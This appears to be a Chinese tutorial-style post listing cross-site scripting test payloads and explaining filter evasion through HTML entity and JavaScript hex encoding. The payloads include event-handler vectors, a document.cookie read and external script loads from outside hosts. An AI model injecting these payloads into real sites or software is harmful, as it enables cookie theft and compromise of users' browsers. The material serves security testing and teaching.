XSS测试用例与原理讲解

时间:2024-06-14 19:06:32

1、<a href="javascript:alert(32)">DIBRG</a>
2、<img
href="javascript:alert(32)">
   在IE下可以,在FF下不可以
3、<img src="
http://xss.jpg" onerror=alert('XSS')>
     IE,FF下均可
4、<img
STYLE="background-image: url(javascript:alert('XSS'))">
  
在IE下可以,在FF下不可以
5、<INPUT TYPE="IMAGE" SRC="javascript:alert('XSS');">

<IMG SRC="javascript:alert('XSS');">
<IMG
SRC=javascript:alert('XSS')>
<IMG
SRC="javascript:alert(String.fromCharCode(88,83,83))">
<IMG SRC="jav
ascript:alert('XSS');">
<SCRIPT/XSS
SRC="http://example.com/xss.js"></SCRIPT>

<<SCRIPT>alert("XSS");//<</SCRIPT>
<iframe
src=http://example.com/scriptlet.html <
<INPUT TYPE="IMAGE"
SRC="javascript:alert('XSS');">
<BODY
BACKGROUND="javascript:alert('XSS')">
<BODY
ONLOAD=alert(document.cookie)>
<BODY
onload!#$%&()*~+-_.,:;?@[/|"]^`=alert("XSS")>
<IMG
DYNSRC="javascript:alert('XSS')">
<IMG
DYNSRC="javascript:alert('XSS')">
<BR SIZE="&{alert('XSS')}">

<IMG SRC='vbscript:msgbox("XSS")'>
<TABLE
BACKGROUND="javascript:alert('XSS')">
<DIV STYLE="width:
expression(alert('XSS'));">
<DIV STYLE="background-image:
url(javascript:alert('XSS'))">
<STYLE
TYPE="text/javascript">alert('XSS');</STYLE>
<STYLE
type="text/css">BODY{background:url("javascript:alert('XSS')")}</STYLE>

<?='<SCRIPT>alert("XSS")</SCRIPT>'?>
<A
HREF="javascript:document.location='http://www.example.com/'">XSS</A>

<IMG SRC=javascript:alert('XSS')>
<EMBED
SRC="http://ha.ckers.org/xss.swf" AllowScriptAccess="always"></EMBED>
a="get";
b="URL(""";

c="javascript:";
d="alert('XSS');"")";
eval(a+b+c+d);

5、XSS转码
有攻就有防,网站程序员肯定不会放任大家利用XSS,所以他们常会过滤类似javascript的关键字符,让大家构造不了自己的XSS,我这里就捡两个被忽略惯了的字符来说,它们是"&"和"\".首先来说说"&"字符,玩过SQL注入的都知道,注入的语句可以转成16进制再赋给一个变量运行,XSS的转码和这个还真有异曲同工之妙,原因是我们的IE浏览器默认采用的是UNICODE编码,HTML编码可以用&#ASCII方式来写,这种XSS转码支持10进制和16进制,SQL注入转码是将16进制字符串赋给一个变量,而XSS转码则是针对属性所赋的值,下面我就拿<img
src="javascript:alert('XSS');">示例:

<img
src="&#106&#97&#118&#97&#115&#99&#114&#105&#112&#116&#58&#97

&#108&#101&#114&#116&#40&#39&#88&#83&#83&#39&#41&#59">
//10进制转码

<img
src="&#x6a&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70
&#x74&#x3a&#x61&#x6c&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29&#x3b">
//16进制转码。

这个&#分隔符还可以继续加0变成“&#0106” ,“&#00106”
,“&#000106” ,“&#0000106”等形式。

而这个"\"字符却暴露了一个严重的XSS 0DAY漏洞,这个漏洞和CSS(Cascading Style
Sheets)层叠样式表有很大的关联,下面我就来看看这个漏洞,先举个javascript的eval 函数的例子,官方是这样定义这个函数:

eval(codeString),必选项 codestring 参数是包含有效 JScript 代码的字符串值。这个字符串将由 JScript
分析器进行分析和执行。

我们的JavaScript中的"\"字符是转义字符,所以可以使用"\"连接16进制字符串运行代码

<SCRIPT
LANGUAGE="JavaScript">
eval("\x6a\x61\x76\x61\x73\x63\x72\x69\x70\x74\x3a\x61\x6c\x65\x72\x74\x28\x22\x58\x53\x53\x22\x29")
</SCRIPT>